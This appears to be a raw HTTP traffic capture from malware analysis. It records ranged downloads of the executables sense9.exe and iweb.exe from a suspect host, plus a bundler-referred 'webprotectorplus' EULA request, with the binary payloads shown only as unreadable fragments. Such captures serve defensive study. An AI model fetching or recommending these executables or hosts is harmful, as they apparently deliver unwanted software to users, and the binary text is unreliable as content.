User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..Q....s.n.9.......vn......Ap#v....?.&....S7......{.&u...V$7f.%.....])
...Q....$..jJ..wV..j.sc....w.aAk.fy.......a..5........ ..Gy..A"....|.E
S=3s.......oy.k...Ip9v?.'.H..."..r.i!.....D.v[c..=T".>....q.R|....L
...6..qW.&.X.q.z.........x.<o..N....m...*..1.....T..8j../.-..EK.R..
.B.=.=*...t.VVRm.....7jR./...R..''...2,..p....1h.=...;...`...\...v....
.k..d.^'u.s..[.....O.>.I]."d\..Y.... Zv.l^#m..C5VAJn...C%.VY.......
`<..C.O..s...=.K.. ........m,....TVm..E..a.Y.<$.cr..?..WdU...4..
.....~w..c.Q..|X.\......\b[....-!..p.N.Ow..j..W....V8.yuz.%......3_...
..~J.; bId6.......[.....(...".O&.7.}/C.4..a."..Y.....C..5e.T.ZL.}..\. 
.....*.....P.....5d:!..w..w[.W..-:...<..4%w..JWRuY..2....Q.H.......
M...1......'.......... .OY>..D!.....0k..W....8.}.?.E.u........U5...
.0..R.M..b{.....2.....W0d(.bLz..Y.4.Co.M..8._a.aB?/A._g.V=.q...Z..I..C
..F3..`{......h}k..S....P.6..........z.G.%...Y..^1...D..\..?.........Y
....Q.V.H..@...>......}[.....e.C..v.J.?.y....L..%....(t.Nnk[.%I....
..h$e.`...(.$....j.gJ.........%]7.5.FE.........kJ\../U%...B.$._...'...
.."?.W...Z.....6..Z..{Q^n.k]LEI?.NJ..M..N.0..us>C.M....E$.F.m7aJ.A*
.N.lf..*;4v(..../.......^>.0...m.".g.Y.k....xn.|....p.{.....xU..W_.
N..0_E....fU.b$.....T..-...z.Iww..,........O;t.0.0.".sT.r0..s.r....p..
.....;dv.......`.....r{..,..8-q.._..Myi.....Goy....=.... .....|.5...E.
zF.z.v.-ez...{.Q.7~.X..\...s!..z..-L..o.E..7h:{.Ha....3B.M>u..{6u..
.|.........lT..r...g.?..=...`..SP\.....K...,...w........}...7.....NJ..
.....4.jn..n...jC[...[..z..._.a...&...^w. .........0`R..tf.G_.|...
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..]d.|...K.=...s#ev..orR{J....<gv#...P.....p..:1......*..q....&b~..
.:...L9.....K....2% ......'..?...p..nwa... ..;.......58..R.&.N...;. 6.
c5%......  4f.zJ.L.a@.......}.c..^.F*#..#..}.@....\,.h.n..gu..Dj..[...
[email protected]...`o.l.J>4W2.6D...vX.;8../.}........:............{X.f..
...C.....hF...:.`.ek...)N..$...........<......=...L...3..P.....Q...
s.>.....yc..N..'v.C.IC...\..k\R....pM{.v.$.......wCL.....8.6..z..lu
..K.......!;m..Qt.y.....F[..S...*(....@E....?0......V.......p.5.~.....
v...R.t.......E...U.|p....\~D.J..E.......Z6........=...s.Y~.o..@....#&
`r3....&a..~..Tbw?...W.T.F..........?..PNJ .....M......5.X^. R..._../.
.R"... ...1.l.."...4...?IN..?F....0.O61.<.{[email protected]}...?|!4j..ZJ....~
.Q....sP......dR..ks.^....N...'. 4\.3s.&uYt..|.j.....n62...K.0j.3..&..
........9.J....T!..~..ZI....c..?.R'.1{....p....b...O..\..$...~...}....
.`..][oq.<./....:..Q.[bL......5..*..`av.....U.im...,F`.#.6=..j;....
r7x...#.3.H).won..G......A#(x...u. ...[...`.(..B amn9..$..a..,.Z],...G
C.p.8q ..Z/.\.x..lN G.`..h...`.........E1.....o....4.....J:..y?..T..3.
6h..F)m..I0e....~.:,.......qe....e..[@d.c......U...EjUd..........3....
..^.s6.X....0Q.....T.....:F...;..8....]..?...\.b....Y.L.J..A.....3..e.
%P..k....E.}Vq....,D.&...#[email protected]........,.[................_...
'7r. .z...0..YW..J..H.........{Zv,~t[ ...!.v.v.9s.i.....,..W....%....3
.w...2. ........U.V.E..5.........icx..e...L#... ..f....S..< ......W
a....'.j.l=.g...(...& N.u......l6...h.,...Vig.w.3...$.I.....%...JE.G..
d...D..,..Q..]...!*x...........u/v.....5...l...7{9.MA.`..T(..T..q'
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



).^....:[\M*P8=]....^.E...s6..F5%).....].tn...e.....IQX....pA \..]U.0.
.|...`"C._.....9.n.....w....m..Q=.'b.Z..............B4E.2.A.....H.....
[email protected].`%.1G....|e..H..~7..S...H9P..n;'.....#....ixd.=....
s.....Dh...%....C..v..u.L .0-'.K...s...1.Oz.....U<..Tf!n.9n.....N..
.....K.".=......x..B3.../....},l.A..(.\..d..R...-.8.).5.D...|eg.4..!."
D|[email protected]!.V.e..Qu..r.22.9....T...1..I...,
.../...W.....[..s.([email protected]....?.O&....PH...Zky..7.../../[/..... ..J..
......`.m73.g..'..N.,..J.a)...Z..]fF.&.A.g..$z.m.c... V...Z..........C
S.,..vI_.....e........n...z,..;..&.Tm......H5.t.?.)...5.of...e...N.nn.
.......w5cXw........O...B..].M....;......T...7..eR,M.=...<.T.F...DQ
,.kF.m..F.=..E:..=...)...xVS'..G. ..OJ..........;$LK..1..T....z...t...
...w.....s.........j...._..8.:......P...f.X..L.6W......mKhD...N......"
.......Hn<..#...R.6'......aRQJ........._N..2.u.Vc?.}A..V..v.......:
N../.B.wr.^. .......!..P...Zb;..=..JTh...kc!.i........$9`.).2.r.!.DYUl
Js.......w!.....&....w..[F.6.O..b.P$GS3....-V..{.....uyT .j(n.T9.... k
...$.8 D)*..&.Ji.\...<r.4....b...B......*.%O........5...A..V.HE..CN
[Z]..../.%G;JZ.."=/..{..\.\;2h..f.N...h&yD.#.[m4.....,..(.....n.<0.
N.].....'..!7?.d.......i.y.9..R...g.2......X.\.U..3|.\X..xQ...........
K7N....N...N..'....m..;q..(., ......F.a....<...B.^ws...7L.G..~.l...
...P..Y....W......Q...I.kL8..\..-..h......]s.......5..8.bdU....8.8...W
i.s.|.A*..c.I.:...l..b......cG.....p$....u..H..}.. t.]`.7.a"kD..".5..7
. |...2F.R..<..a........U4?.....R...b;.Sh.P....?...v........?KV
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:03 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=241
Content-Length: 250000
Content-Range: bytes 3250000-3499999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385904.dop005.am4.t,1430385903.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
|[email protected]:r.b....d..C.....8...n..iO.9...V
v?..v.s`A..Gc..c........D...1...%T.1(,8/.....B}.......o..j..?.M...|.'5
./[email protected]'.]...9m.:.... .65..2......c.6..8.c....T...D*:.'.,O-...C.#.. .
X.S......Z..^..z.*.I..}_....z.?.}[email protected].(1......j8...%<...{.$..6..a..
[email protected]..`..zi.?.Q-<W0......2......92j9).O.._..:.|...
K..R.]...{......$|.r....*.....{].G......z.[...{F..'Ja.r/.Y..b4.i{...`U
X7...2....z....i.r........i....h0......./..,y.......O8.i...,~.b....h..
...j`.%H..j.......N% }.2..gS...y.@......{......J...>5..Z.M..:..?%..
.n_.}..662......M...]..H....<.....'.k.......2.GR{..a..Dm.LJ.......y
...jT.q..IU.^............;..37S.............Q....b....&j.....Z.;M.....
.I..fW..^a.^_.0...Q........R...G.F....`.l%X.....0d...1....^..........o
njr...d....uk,X...........N....U..w._.>.....QN.5.d.#........d......
.%#[email protected]..]......M...IO.....iIb...{.8K.._.<%.JAP../..\..b
q.4k"1}wN..5l.r...F$....zx...^ok{=.I...a...WItV....{..OM.W.p.}...[.B..
...U....T... .P.....0...{.I.-q.Q_u..*9 ...=.:KBt...2,..EY..k0...I..>
;i..A..m....m..7.3W.......:..w..2..../.-v...^.P.t...X^..a....{my.y. .!
..8..O,.x..h=_}.j...._:.B.r.w`K?C."=> e....H....>.=....../...c. 
...."..eZ...?]q...9t.........._76...m.'.9$.c/qnr..,..#....eUE...7....d
:.....K.j.H.5J<..{......8. .jv.2>....w..}..a...p.].C..9.!.Y..y.`
...(....:.a....z...Gbs...cd..MN.\....'.|..d......%..|.......Y.........
...w._.OW....#......5.Ck.6......3......)..K.f.p......e..q..6f..n......
.0=:..../w.bo3Q.9.;...P..G.y..E.|..1 ..'..|.......L.dC3Z.eF.K3.87.
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...R..v.W-`...b.QU....F.?K...u....`a1.R..h....N...M*....|.Oj.P.U..peH.
`..9aE..........Y.V=..d..%[email protected]......".=....C...9...{.r.&
lt;fv.G.-d.c.rz.(0...ld.B........U(2.C.../....}..Eg..............v...r
.@a..`.q;......`(.9...72k....*.b.QmA......~..-.3.}..S.E...Q..C..v]lbS'
.<................}......e>...B.3....4...3i.....UA.<..KmBB..&
gt;s..u1.y..... .....N.1@....`.......5j.1..'..@...%^r;90M.&.....S3}...
..jF.^...Z..Pu.}........E..r3P.g..Is.M..h..1...z...EP\...^.M.......F.p
.Yl....'.|.pw.Q..bwVC..........;.p.{..Y..Zs_..I[..}{bFKf........[.F;Q.
."%.v.b.....{..... N....D..vc.{c..\.....nm(P.......8......f.Gd........
[email protected]!..oFr........i.^......*..[.{.!....Q...g......ed..H.
.?....*....T..)....1.-N.`.G.6..%.e...58.i<.......=.*..... .N.N/>
9o.e..i).Ft.Qr..tq.`..&..?b!..nE....y5...P.(....A.......l.....h^......
....9...A..^.D..,(..B.(.!......j0K.p..[...A.a.q.**.V.H.. .3.9......F..
.........4..Y....6d....K........OKgkDy.(wM>%. ..C....=.kA.i5.......
.g'.j.X%..DiwTK.t...M.....80;u.v`.........._....@B....`.0P;...........
.t".:2.1.>.l.Z..H.{.0..*#5.hgi^ ,.,.[.4 .q.L..........S.8.F=.I.....
..mF&...^....t.K..s........cF...k....#..w..-u.z.b.L.....<C.^{.|_..U
jj.7......f..[...%.'d........h..XQnl...vO...#.......,.....U .......Y.#
.. .G...=\.'<eK[?).[j4..\lM1ny.........1...sf..Q...|.#....!..w#..i?
p.=.T.O.Y..Bt1.7]....u/f.Ta..... ..k.J.j;....jn....H.G."^........{..uu
.n-.U7.%.g... y.\..7%..v...z.c.9 .......6d.Kg...9.3.2;[email protected]...
Cz......s.(}...1.....2..8.0.......&.K.)..Z.>.!.... x O.....$By.
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=238
Content-Length: 250000
Content-Range: bytes 5500000-5749999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385906.dop005.am4.t,1430385906.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
....


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



H.&:.l..;x ^DE.)5O..6.U...,.n:......NI.=7...w.*D...:............\\..EG
.....{.....l...'.E........i.dch....x{.l..g..G.....h..#.U_B..M...:.p]@.
C.<..I.cP....t.?..s.)....a.........;...87......=.B".v....".!n..,...
A..>._....7:.B...@.....()....I...".Q2/6..n....*.t.L..x"[email protected]\(
.....v..;.._...A...th.5.f .4*..!b.F......v..i_.{..,.....aP0t....`9..5.
..T..*]&zf.W.....L..Uu....7...s..:......1.%.*kW.H.r.#.X..9.......V..S.
iO.&.....O`.>).o...5...)v...W-.....Qk..8.<...@[email protected]]].....d.O
mpM.I#mc6...fS....V..s..>.;...0o....%..q.C...#..!>"Ty.RA.N...H..
B..k.Q9K....:d:._I5.(.=;.YZDw..z.......w{C.;q^....d'[email protected]
G.O.....4iw..`O...#_.{HT..h.=.....wg.r... .;..J.i.. = ...Q/. ...*8....
,........?..;..h..'g.UeT].<o..E:......."..p.<1...05{....BG....F.
...!.P..@/#{.........l...C;....}&@[email protected]?2V.AN.9q.....T....v%......Zo..
...R.......S...k?d..Em.:s7.T....5..8......y-.s#..~.c...-.....S..G.k..6
t....D..jr2@.."...fT&....Rq.?..$.!xl....<S......%`j.-#3...8k.SU. .m
..z...... ..i.........A.}....._H........MQ ...*....0. <..V..PZ..2..
..j...Q...;@.7..bU.Pa./...... c'..Z.B.O..B!j...s....?.....iFUf.3..g7..
..........*.M.5.P....k.m...n..i.=.....:.$.t...P.{[......T,.b:.T.4.i.R.
%q.....l5.n...a..a!............./.wq....Y\....'.Gx6..nz..?.*...C...K3.
..N..k..K....7a.....f..`....i..H...\.p:...j.G..`....tS..q,.|[email protected]^
85...0...}b......H..9.X.....j....?V.........6......1.*..gRIAU.(.b9....
.W.3c...d{..%.^.......4..X...*_m_........oOw.u..K....K..u..-v..H..GE$.
.K[;[..u.pkn...H.M...V.....g....33....z..$.yt}....v)..j....TpZ....
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..g.].W.~..........>.....?......Y2.....Y.-....}.$E3..`...I...y..l.[
...M.?0K.....So.......r...-..B[.M...5..,l..{-.9.)..g....D..;.....W..&l
t;[email protected]#...,...Y..q....m.....".lb...s4.`9...RK..
.00.m.dsB........mL........}.Gl.j.:.|.2.....q....h...q .8.....'..h....
../...\.X. .G.i..X........L|<.d.i./.j.".Z...4....^.ngq~.s1.%q.ur..y
..Of|...U}8.c.%...c..s2..a%..f7./..]}.=P!.b...O./0..!$.....q.|..... .6
[email protected].}.....~.U..n.l..c1..k...3..m.gD......H.r.N..SuC.3U-"....A
.0.......EQ.x.. cd..S..W`..~i4>.mD28d.vS.n.......([email protected]*.DW
.......dV...bX...Z9V.?...h.T......ry....C!..r..........T.|..D.s{....w.
..\....H...V...l.A....A.-..#X..Z.....3U.#R.5..8wL.......\6..1...l7.pq.
*lR.b...9... C..{.....v.e.rd......wV.......S....6......O.(..31e..I..F.
...H...S4Z....".Z...sJ.F....8NK....`.....O..9:[email protected]}.U...j.'...N.
.H.s...J..4......>I......k......q......<{2..#n..Mh.C5n e#....[..
.<V"..f.}.y..P.*.%.Mf....0.b..C...I..4J. .NJ-...lFD..z.c...[..J}...
.Us..!{..&......c9C..'fh.I}f..k..E3.AG......P........me..>.X....wA.
..J.Z3..%..........g..o...-wb...!..}N....M.O.R...(..:I.[... t.F...Uf&g
t;SmP...........B.eSI..0........ul.A...=..j.....Z.T.Vj%l...V&.........
...9.]..s.whO.....'(3{._Z..I....NP.....s.......'\...>".l..h....0..7
1....:s%....&..sQc.......U....../...PJ....K.T.l.:.)[..ve0...Yg..h\..|.
...^..bU..2...H...9..11.......C../6q ..B.`~V......*.9L....4v?.E2hX....
.&....F]...0.0.i..rY...;..X].>.K.L.s.................~.k...$.i2....
..B...35*[email protected]."....v....uW.....K....Y.*a...t9...Sx.........=.v=..Q
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=7750000-7999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=8500000-8749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=8250000-8499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



{.....n}.L#..]-B......}Va..".v.5.q..8xr{5..t..5..Q..g3_....G.X....O...
.>.N.'.D8.M5..s8..:..h..:.)5NJb......q.s.....aQ.14.Q.....?.Zc...@..
... ..:...M...n.<.....i..0".....Uqa7.yu;....;..........PF.....p....
./FK.l'l ...i.6Fni,W.%k.|.;.u...o....2B.g~.Pi......d6;5j&Y...sV.-/...^
yn.. .jkAo([;....s..i....9p..W4.. ...T.!..w..&Z..........n.X..1../D...
1Ev..,...............~..?..?..U..P...i...F.6..T.......p.^.......x`..A.
[email protected]....^.u0Ff....6.`.?d.>."[email protected].>..w...........
a..,.|.s.....z.|..eq...Ov.u.|..(,.....W..Rc.{I..........&...o}w.T..I..
:..;.....-..?~...p....7e....<.!?..... ih*...|!.. .v^{..J.m.CK..U...
&......[......P.l".B{ieB6.....C.v"..>Icir[..,..D..=..P}.......T<
Jx..b.....X.A.!....`aN.............B...p.c...X.`......Y.........C..5..
5.b..z3.."_..w.1..D}..Z.._...rk2.....K..N.-....6..)..x,.=...%N\.:.....
.n..........ho...X......7\..9]r....l.h^.=%...2"...D..sG...............
`.4=.Ddn.n ..u:.......K.<`..DG......K.f.{49.v.3..<.(..>'...J-
9...(DC...9.v!...0.... ....}k....;.x.f..A".=.....@"1.v0S..5F~/I.m}P.\.
.D.-..12...}.p.i......r..'.......mo....q..w........b..2........8.:.'.6
...1........^L......$l~.j'............'....3.q...N....<t8}.m.$....$
....h..CGo.6..j..X})5.pi....E'%.U...i...>........7K..R..:.N..3.R.9~
\......T`.........>..;.........C|.....\...x_I....L....z5.....$.Z...
g...Q}..R.^.y...N.m.M..I.8E........Q.......^.o.j...mi........O........
-.~#.....Jq...... 9...iJ6.{@s....t....3.].8.....|..4....2;6TFh.~{}.p..
6..eP..hm1....x.....Z3YcP..g.S.;.g...M.{..b.:...1.e". ...VR.r....$
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=9500000-9749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:09 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=429
Content-Length: 250000
Content-Range: bytes 9500000-9749999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385909.dop005.am4.t,1430385909.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
m..?...3...b4..oTV..97.k!.".t...Fe..>.R-t ......J.T[p..9H.]..,.\...
2....m.X_.-.Wq3Qp/..X.C.<....[ K..Q ..4.}:G8...u/7Lc(....F...).\...
."0MS..W.n..o&7^7.&.\....B.R.}......U.`...R...G. .v....#Q..(u.3...pw..
.<i.G..3.6......C.AV..W(8...4... .Kx.'..\j...._.Z....L...8.."^f:...
_..$...q..q......Z-.._....:.....{.#....e...:Eam..l...<.p.qi|/w.w.P.
.I."...G..6.:...h.|...W.?,fN..a|.......}VP..VvF2........._c..g........
.............ky.%.....,.i..Z...../j...B&&t.>8..7.*.....}3.4.....I..
.=.4..#\DIeJ...J...eY...AKq}.Wj...0.............'...TC......U=...b^...
E.<SV...e..sn...L.../0D2...8.F. ,Cq..nR....L..[B %T. _.D.Y<J:...
.i...r....?.N.9.......#Y.q....8..lC...f..P....A.....oE...$..'..c.{....
'.gr.....G.T_.!...2.p.,H..B....5.6=..7i`..k5.k.d.z.>..9<[A.I....
.0.....[`..E..P..|V...3..\4.....p`....wx{K...m(.J.Gh..Fhp. M.O...._...
...b.....|h...eO.......9.n.....keo...."...f.'.|".~k...TG'D:.F0<..RQ
T.Q.o.........im.{......3.rX...'.....A1e$................4...:=......h
/.j.".......6..1...8..sv!*yW.$.<....Z..9OA.L<1...F..R.../....D..
.}...]<../.=..u..n.....?.P&..7...a6...V1Mh.s.L.z....Gm*.A..?ub.!.6:
.....6B._]3..>...45..9>^.....;.%e.......&.hZ.....>..`Do.T....
b..K...Q).p..Yg4kq...ml8.I....;^..d...!...$....(..1....g..:....a...|.z
."..)=..R?fb.a...~F....*...1...Y..'.=.h..L..{..d..u.h/N..S..L.......^.
..._.,S..._..76.3E....X.X8...g..l.l..%........v.N...a`........Wx....QZ
....2J....V9b..v.[Y........-..(]JV..).}.....2.tw...B..8`'...E...]D~.".
n.Z../.'/..3..o^.'3......=h.sG.j...[$..'?.....B.L...K.....4....6.O
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10000000-10249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



!...1. N........$.....w. .E.p?}9.....rB.R......S....vQ...[K...&K..Y.w.
[.'...F.....O..D...'>..i.PVF..p.`M\^.nuC..%*ep......Dh...j(......7.
...uy.........5v....1....9<D.^.D.(@C..eG.......!..8v..$...[]5.n...H
$.rU.,|..o.9Y..m.KA..C.",5cg=........]....:3.c<k............!......
..../#9.O..8.Mr%$....L.....or]....].....Rl.%.....qA]^......]..X..uo.~.
h.TP..1N..~k.0.P.~......?.2..OJ".....=v])K........[.....v.PJ........J7
f..5..-.x{#.....]J..,...%..B@......$].p..q...k.o.y...;*...._.D.O9.r...
qq...:U...4...f....])em....TKzM.2=....1....L..v......AxO.M.._..)...|.]
....[{...1._...Jr....-BR.[.".....G..G[[email protected].
..|..-._.j..:....h...c..U.>&.;..>F~W...AdI.K........>.|rs....
Z..........?..Nl[A........"..J.~'."v.~l..J.J.)..1\..4.;NCK.6'p%_O.T...
.....VWx..n...'.%[email protected]$Y...[.f.....f..j.....B....cp[..]u
...{^..>C.\.E$j..".U-?d.......;g?...&y.l...zz...m.kn[..!.X..Y......
..1.........EU..).bSK.....~....>.._.Q.D....&.......Kb:.7i....4L....
.B...[Lo:...s.......'V..d.....V...%[email protected]_.H....pe<
;. .=.6~^.p..>..L.$G}|[o..D... .`3]....d...u...8...%.....8 .....(..
:...t.X(.....:....^[email protected]_....~v(gj...f.v.....i.`....Z...#C.
.@<^w79uM_.?^y..H.L.5.wfrB.O......m....o..?.k...P.2.'.'.........G.0
.....P5..<-........E..9L#.4.S......2....x..P.cp..r......DG...$%q...
 .v....L9./..p.%...#_.. .l......".../"..8.k...lQ.B^..n<MS..~;}...6:
.'............. .N...w....dXUt.; ..:{..B6..H.u...W[.9D...t.7...?=..B].
..f..$....z..\.R....|E.k.uc..U*. ....g...}W.T.....i.F.......z....q
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10500000-10749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



....'.;m:....Bd.:.....5....ah.I.rm>......E76.x5....]......;....(...
. p.{...h...w.B1..LA:.A}.H.......[........;Pq.......&}..,.?..K4vu~[...
E..=..y.W.......... G.;........N~.<^....*2GF.{.Rl...v.......~SC ...
Z..m.\.AC..8..*K........b..7}2K....u.Z.pH.S6..',........`o?.C84./...DN
F..R.|./...HZ=j92..RC...GZ."..7.....7.'.H...e.>.2....^..T.#....h...
.,8YL~~..o..<...}..Z..nO.^i..a....U... r.......h....!hi.ii.....3o$.
...:...2.|\..-.."bU.:S......W..T........Q..v.@ 8.`.\K.....G&..T..3....
...&..":..-9.(.,F.$.}....>WN.#7.d.D.......d.*V.<5.X>.V...;VZx
....3.[.....c...F0..Vy.fY~..b..e.X.5...../.B...on..J..&DzP....yE.^...N
#..0.].O.....y.nZ....zK.09. ...M....g,p.F...4.^B~..XB...4....w...f.>
;.<...........]....-*..i..h.......5)..-WY.!W.r7....yfo.;.7...q"0..r
.......L.t..atFlk6....l$GR.n2$.$.....s.....}`...=9?6...<..&...|....
h._.sC.......",..7......}X........`....".pI..&....j.'.HD&..5...h.;p).G
.....w....2_G..!.!;o_.2..t....-..I.t.."r.=\..jp#F5..|.9x~.".s.\.}3c.[8
[email protected]$ol.et....?....r.QX./..&....T.
J;A.t.G....D..W.....e1=..Ki.....@,k._V...5..M}....K..g..F..g...../.,E.
.....)..j.(l;...P.:...o.. ..n..,vR....v.w.*....h.T...>..t..Aw.t.YXm
I.`.g...'.k...hd..5.&..20u..........{.).o...S......"..X..2....TL.\.F.{
..H;..Rg....f.baK.....9(..q......_..a.......r.Z...... Z.%.=.W......nE.
.v.P.t/.n..s..*...c9...H..........y......0k..T9Va3...M.^*.c..5O..?.$..
..\1....%.1 T..I.o<.:I...[..6._.Z-{i_..../*.H....>.LU.\g..l..ll.
........z.h..0JX..^....o.Z=.....6".. ..x.I_.."...*..\#........L.U.
<<< skipped >>>


GET /sponsored/webprotectorplus/eula-webprotectorplus.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Thu, 30 Apr 2015 00:10:19 GMT
Last-Modified: Thu, 02 Apr 2015 12:59:57 GMT
Expires: Thu, 30 Apr 2015 00:20:19 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 226
X-Cache: Hit from cloudfront
Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ic9KHLrz-0PBW6821DyNwmKJsKWv3FTShm2gI2hRAdZhjUsRD6piiQ==
2066.............\.n#Gv.=~......%y..d=..PTk.....ed.....${...v7.Q..~...
...>I.......ek3.-...........8..&7C...ul...K.g^...\..;99....?L......
.$..<*.4........^......n.;.}s.f.....3.z....GE...y1.....2..u..?....w
.}.o..a0...W.....l.dyX..z[,...._...}...~.....?.'.<...n.......Y...;.
.o....h.d.(yg...v.....M0...$..A,./..8.....o.l>W.-.u...39.r..Y..w...
VoeJ.Dw..p..,.DE.c......m.....sk......|..r...m.....8.}|.....9z..^..GNO
.F.......1.....6.....b_pt.;]..q.f....3.C...../7f..9..-....u...5....63.
,.og...o......._.....'.!~....[......*..c..o......Q.4.... ....y.K.4..;.
Y=t..r...B,d.&...j.tQ...6...Z.8......>...o.....f....&Xf.l.64....`.\
."..t'.ut.PpH..$f}..0.M....,.........p..p..Y.wa.8Jp..%/N6?Z.;....;....
..N...k....?...%.... .R.mY.AV...Ur..(.........%.*([email protected]..&..E.
8\.f.M. ...,M.b.r.#..d....o....y.)...|..y.4 1,.....a.o...w.>.....!.
.n..t.;<..a..........b1.2.,1..4f..b..Yd.....JD.c...l...}...).b.|l..
...<.tP..........1.Ap.!...........`.D...pR.i.. .G..||...9.2..}..|.n
A.(V .*..v.....0.....eCk. ...m.s`..<.!...".b.d..wLT...Mg.a..h..qT@q
S.H.....V!f. E.f.....}6V.%.7K7Y......,.;v..E..MS;.3KY<.....n.......
$T.....6P0.....3...{..<...H.Z%.$._.,.W.R(.l......(..{.%.._.Qp..l`..
....4..e..w... n.\.:........T.....".C.{H...M6.......(._....{.'..x.1.".
..Q.o.".b:.c,~..l.NC4...[<F?...>$.....3.......XM.m...:.8..u....n
 ..0.i...........wr.e..Y.\....p.W2Y.(I..g.".....m..F..._.X....=.mK...6
...u..A..a...a....R..ma.....1........xJ..... #....|.a...1..8...j....be
...D."..i..C.....| h......=.......P{.`...j.....8;........I.d.\p..G
<<< skipped >>>


GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
